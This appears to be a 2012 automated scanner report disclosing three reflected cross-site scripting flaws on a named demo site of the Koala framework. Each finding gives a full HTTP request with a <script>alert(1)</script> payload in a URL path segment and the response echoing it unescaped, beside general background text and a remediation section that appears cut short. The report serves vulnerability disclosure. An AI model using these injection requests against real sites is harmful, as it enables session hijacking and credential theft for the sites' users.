Report generated by HTI at Sat Sep 01 09:23:16 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, demo.koalaframework.org

Loading

1. Cross-site scripting (reflected)

1.1. http://app-demo.koala-framework.org/assets/all/web/en/Admin.css [REST URL parameter 1]

1.2. http://app-demo.koala-framework.org/assets/all/web/en/Admin.css [REST URL parameter 4]

1.3. http://app-demo.koala-framework.org/assets/all/web/en/Admin.css [REST URL parameter 5]



1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://app-demo.koala-framework.org/assets/all/web/en/Admin.css [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://app-demo.koala-framework.org
Path:   /assets/all/web/en/Admin.css

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3e608<script>alert(1)</script>9fc3c795cff was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets3e608<script>alert(1)</script>9fc3c795cff/all/web/en/Admin.css?v=1318854268 HTTP/1.1
Host: app-demo.koala-framework.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/css,*/*;q=0.1
Referer: http://app-demo.koala-framework.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e469de7d05885424142fed763a930d87
Content-Length: 10


Response

HTTP/1.1 404 Not Found
Date: Sun, 25 Dec 2011 22:06:04 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny10 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 272
Connection: close
Content-Type: text/html; charset=utf-8

<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL "/assets3e608<script>alert(1)</script>9fc3c795cff/all/web/en/Admin.css?v=1318854268" was not found on this server.</p>
...[SNIP]...

1.2. http://app-demo.koala-framework.org/assets/all/web/en/Admin.css [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://app-demo.koala-framework.org
Path:   /assets/all/web/en/Admin.css

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload a72a7<script>alert(1)</script>d5461cecec was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/all/web/ena72a7<script>alert(1)</script>d5461cecec/Admin.css?v=1318854268 HTTP/1.1
Host: app-demo.koala-framework.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/css,*/*;q=0.1
Referer: http://app-demo.koala-framework.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e469de7d05885424142fed763a930d87
Content-Length: 10


Response

HTTP/1.1 404 Not Found
Date: Sun, 25 Dec 2011 22:06:19 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny10 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny10
Content-Length: 271
Connection: close
Content-Type: text/html; charset=utf-8

<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL "/assets/all/web/ena72a7<script>alert(1)</script>d5461cecec/Admin.css?v=1318854268" was not found on this server.</p>
...[SNIP]...

1.3. http://app-demo.koala-framework.org/assets/all/web/en/Admin.css [REST URL parameter 5]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://app-demo.koala-framework.org
Path:   /assets/all/web/en/Admin.css

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload ee9c6<script>alert(1)</script>b331f165a68 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /assets/all/web/en/Admin.cssee9c6<script>alert(1)</script>b331f165a68?v=1318854268 HTTP/1.1
Host: app-demo.koala-framework.org
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7
Accept: text/css,*/*;q=0.1
Referer: http://app-demo.koala-framework.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e469de7d05885424142fed763a930d87
Content-Length: 10


Response

HTTP/1.1 404 Not Found
Date: Sun, 25 Dec 2011 22:06:23 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny10 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny10
Content-Length: 272
Connection: close
Content-Type: text/html; charset=utf-8

<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL "/assets/all/web/en/Admin.cssee9c6<script>alert(1)</script>b331f165a68?v=1318854268" was not found on this server.</p>
...[SNIP]...

Report generated by HTI at Sat Sep 01 09:23:16 EDT 2012.